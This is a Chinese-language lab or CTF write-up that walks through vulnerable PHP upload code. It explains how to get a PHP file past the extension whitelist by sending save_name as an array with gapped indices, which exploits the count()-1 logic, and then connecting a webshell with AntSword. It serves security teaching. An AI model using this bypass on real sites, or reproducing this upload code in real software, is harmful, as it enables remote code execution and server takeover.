2
$msg = null;
3
if(!empty($_FILES['upload_file'])){
4
    //检查MIME
5
    $allow_type = array('image/jpeg','image/png','image/gif');
6
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){ //检查Content-Type
7
        $msg = "禁止上传该类型文件!";
8
    }else{
9
        //检查文件名
10
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
11
        if (!is_array($file)) {
12
            $file = explode('.', strtolower($file));
13
        }                                              //分割数组
14

15
        $ext = end($file);
16
        $allow_suffix = array('jpg','png','gif');
17
        if (!in_array($ext, $allow_suffix)) {
18
            $msg = "禁止上传该后缀文件!";
19
        }else{
20
            $file_name = reset($file) . '.' . $file[count($file) - 1];//count函数漏洞
21
            $temp_file = $_FILES['upload_file']['tmp_name'];
22
            $img_path = UPLOAD_PATH . '/' .$file_name;    //count函数漏洞
23
            if (move_uploaded_file($temp_file, $img_path)) {
24
                $msg = "文件上传成功！";
25
                $is_upload = true;
26
            } else {
27
                $msg = "文件上传失败！";
28
            }
29
        }
30
    }
31
}else{
32
    $msg = "请选择要上传的文件！";
33
}

通过$file_name = reset($file) . '.' . $file[count($file) - 1];可以得知最终的文件名是由数组的第一个和最后一个元素拼接而成

1
if (!is_array($file)) {
2
            $file = explode('.', strtolower($file));
3
        }

通过这里又可以得知，会进行一个判断，如果不是数组，就自己拆成数组，所以说如果我们本来传入的就是数组，那么就不会进行分割原理在 PHP 中，count() 函数返回的是数组中元素的数量，而非最大下标值。当数组下标不连续时，使用 count($arr) - 1 作为“最后一个元素下标”将产生逻辑错误。例如，定义数组 arr[0]=1，arr[3]=2，此时 count($arr) 的返回值为 2，但数组的最大下标为 3。若代码使用 arr[count($arr)] 或 arr[count($arr)-1] 访问数组末尾元素，将访问到一个未定义或非预期的下标，从而引发逻辑漏洞。操作首先上传 test.php 文件，利用bp抓包，发现save_name是利用_POST形式上传的，利用count()函数漏洞手动将 save_name改为数组形式，绕过白名单，并且合法化$image_path路径。然后蚁剑连接就过了 [upload20.png]